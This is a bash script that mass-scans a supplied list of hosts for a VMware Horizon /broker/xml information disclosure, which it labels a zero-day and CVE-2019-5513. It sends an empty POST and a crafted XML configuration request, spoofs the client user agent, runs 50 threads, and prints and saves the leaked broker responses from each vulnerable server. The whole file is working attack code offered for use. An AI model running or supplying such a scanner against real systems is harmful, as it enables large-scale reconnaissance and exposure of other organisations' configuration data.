#!/bin/bash

# Colors for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color

# Default threads
THREADS=50
TEMP_DIR="/tmp/broker_scan_$$"
RESULTS_FILE=""
OUTPUT_FILE=""

# Usage function
usage() {
    echo "Usage: $0 -d <file.txt> [options]"
    echo "  -d <file>     File containing list of IP addresses/hostnames (one per line)"
    echo "  -t <num>      Number of threads (default: 50)"
    echo "  -o <file>     Output file to save results (optional)"
    echo "  -h            Show this help message"
    exit 1
}

# Cleanup function
cleanup() {
    rm -rf "$TEMP_DIR"
}

# Set trap for cleanup
trap cleanup EXIT

# Check dependencies
check_dependencies() {
    if ! command -v curl &> /dev/null; then
        echo -e "${RED}Error: curl is not installed${NC}"
        exit 1
    fi
}

# Check if response contains broker-service-principal
is_vulnerable() {
    local response="$1"
    if echo "$response" | grep -qi "broker-service-principal"; then
        return 0
    else
        return 1
    fi
}

# Test a single protocol on a host (fast, no unnecessary output)
test_protocol_fast() {
    local host="$1"
    local protocol="$2"
    local port="$3"
    local result_file="$4"
    
    # Method 1: Empty POST body (fastest - check first)
    response=$(curl -k -s --max-time 5 --connect-timeout 3 -XPOST \
        -H 'Content-Type: text/xml' \
        -H 'User-Agent: VMware-Horizon-Client' \
        "${protocol}://${host}:${port}/broker/xml" \
        --data-binary '' 2>/dev/null)
    
    if is_vulnerable "$response"; then
        echo "VULN|${host}|${protocol^^}|EMPTY_POST|${response}" > "$result_file"
        return 0
    fi
    
    # Method 2: Crafted XML
    response=$(curl -k -s --max-time 5 --connect-timeout 3 -XPOST \
        -H 'Content-Type: text/xml' \
        -H 'User-Agent: VMware-Horizon-Client' \
        "${protocol}://${host}:${port}/broker/xml" \
        --data-binary $'<?xml version=\'1.0\' encoding=\'UTF-8\'?><broker version=\'10.0\'><get-configuration></get-configuration></broker>' 2>/dev/null)
    
    if is_vulnerable "$response"; then
        echo "VULN|${host}|${protocol^^}|CRAFTED_XML|${response}" > "$result_file"
        return 0
    fi
    
    echo "NOT_VULN|${host}|${protocol^^}|" > "$result_file"
    return 1
}

# Test a single host (both protocols in parallel internally)
test_host() {
    local host="$1"
    local temp_dir="$2"
    local host_dir="${temp_dir}/${host}"
    
    mkdir -p "$host_dir"
    
    # Test HTTPS in background
    test_protocol_fast "$host" "https" "443" "${host_dir}/https.result" &
    pid1=$!
    
    # Test HTTP in background
    test_protocol_fast "$host" "http" "80" "${host_dir}/http.result" &
    pid2=$!
    
    # Wait for both to complete
    wait $pid1 $pid2 2>/dev/null
    
    # Check results
    local found_vuln=false
    local vuln_host=""
    local vuln_protocol=""
    local vuln_method=""
    local vuln_response=""
    
    for result_file in "${host_dir}"/*.result; do
        if [ -f "$result_file" ]; then
            IFS='|' read -r status host protocol method response < "$result_file"
            if [ "$status" == "VULN" ]; then
                found_vuln=true
                vuln_host="$host"
                vuln_protocol="$protocol"
                vuln_method="$method"
                vuln_response="$response"
                break
            fi
        fi
    done
    
    if [ "$found_vuln" = true ]; then
        echo -e "\n${BLUE}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
        echo -e "${GREEN}[+] ${vuln_host} | VULNERABLE | ${vuln_protocol} | ${vuln_method}${NC}"
        echo -e "${BLUE}Response:${NC}"
        echo "$vuln_response" | head -30
        echo -e "${BLUE}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
        
        # Save to main output file
        if [ -n "$OUTPUT_FILE" ]; then
            echo "=== ${vuln_host} (${vuln_protocol}) ===" >> "$OUTPUT_FILE"
            echo "Status: VULNERABLE" >> "$OUTPUT_FILE"
            echo "Method: ${vuln_method}" >> "$OUTPUT_FILE"
            echo "Response:" >> "$OUTPUT_FILE"
            echo "$vuln_response" >> "$OUTPUT_FILE"
            echo "" >> "$OUTPUT_FILE"
        fi
        echo "VULN|${vuln_host}" >> "${temp_dir}/vuln_hosts.txt"
        return 0
    else
        # Not vulnerable
        echo -e "${RED}[-] ${host} | NOT VULNERABLE${NC}"
        if [ -n "$OUTPUT_FILE" ]; then
            echo "=== ${host} ===" >> "$OUTPUT_FILE"
            echo "Status: NOT VULNERABLE" >> "$OUTPUT_FILE"
            echo "" >> "$OUTPUT_FILE"
        fi
        return 1
    fi
}

# Run hosts in parallel with job control
run_parallel() {
    local host_file="$1"
    local temp_dir="$2"
    local threads="$3"
    
    local active=0
    local pids=()
    
    while IFS= read -r host || [ -n "$host" ]; do
        # Skip empty lines and comments
        [[ -z "$host" || "$host" =~ ^# ]] && continue
        
        # Run test_host in background
        test_host "$host" "$temp_dir" &
        pids+=($!)
        active=$((active + 1))
        
        # If we hit thread limit, wait for one to finish
        if [ $active -ge $threads ]; then
            wait -n 2>/dev/null
            active=$((active - 1))
            # Clean up finished pids from array
            new_pids=()
            for pid in "${pids[@]}"; do
                if kill -0 $pid 2>/dev/null; then
                    new_pids+=($pid)
                fi
            done
            pids=("${new_pids[@]}")
        fi
    done < "$host_file"
    
    # Wait for all remaining jobs
    wait 2>/dev/null
}

# Main scan function
scan_hosts() {
    local file="$1"
    local threads="$2"
    
    if [ ! -f "$file" ]; then
        echo -e "${RED}Error: File '$file' not found${NC}"
        exit 1
    fi
    
    local total=$(wc -l < "$file" | tr -d ' ')
    
    echo -e "\n${YELLOW}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
    echo -e "${YELLOW}   VMware Horizon /broker/xml Vulnerability Scanner${NC}"
    echo -e "${YELLOW}   Multi-Threaded Mode - ${threads} threads${NC}"
    echo -e "${YELLOW}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
    echo -e "${YELLOW}[*] Testing: Empty POST (Zero-Day) + Crafted XML (CVE-2019-5513)${NC}"
    echo -e "${YELLOW}[*] Protocols: HTTPS + HTTP (both tested simultaneously)${NC}"
    echo -e "\n${YELLOW}[*] Scanning $total hosts...${NC}\n"
    
    local start_time=$(date +%s)
    
    # Run parallel scan
    run_parallel "$file" "$TEMP_DIR" "$threads"
    
    local end_time=$(date +%s)
    local duration=$((end_time - start_time))
    
    # Count vulnerable hosts
    local vulnerable=0
    if [ -f "${TEMP_DIR}/vuln_hosts.txt" ]; then
        vulnerable=$(wc -l < "${TEMP_DIR}/vuln_hosts.txt" | tr -d ' ')
    fi
    
    # Summary
    echo -e "\n${YELLOW}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
    echo -e "${YELLOW}[*] SCAN COMPLETE${NC}"
    echo -e "${YELLOW}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
    echo -e "    Total hosts: $total"
    echo -e "    ${GREEN}Vulnerable: $vulnerable${NC}"
    echo -e "    ${RED}Not vulnerable: $((total - vulnerable))${NC}"
    echo -e "    Time taken: ${duration} seconds"
    
    if [ -n "$OUTPUT_FILE" ]; then
        echo -e "\n${YELLOW}[*] Results saved to: $OUTPUT_FILE${NC}"
    fi
}

# Parse arguments
FILE=""
THREADS=50

while getopts "d:t:o:h" opt; do
    case $opt in
        d) FILE="$OPTARG"
           ;;
        t) THREADS="$OPTARG"
           ;;
        o) OUTPUT_FILE="$OPTARG"
           ;;
        h) usage
           ;;
        *) usage
           ;;
    esac
done

if [ -z "$FILE" ]; then
    echo -e "${RED}Error: No input file specified${NC}"
    usage
fi

# Create temp directory
mkdir -p "$TEMP_DIR"

check_dependencies
scan_hosts "$FILE" "$THREADS"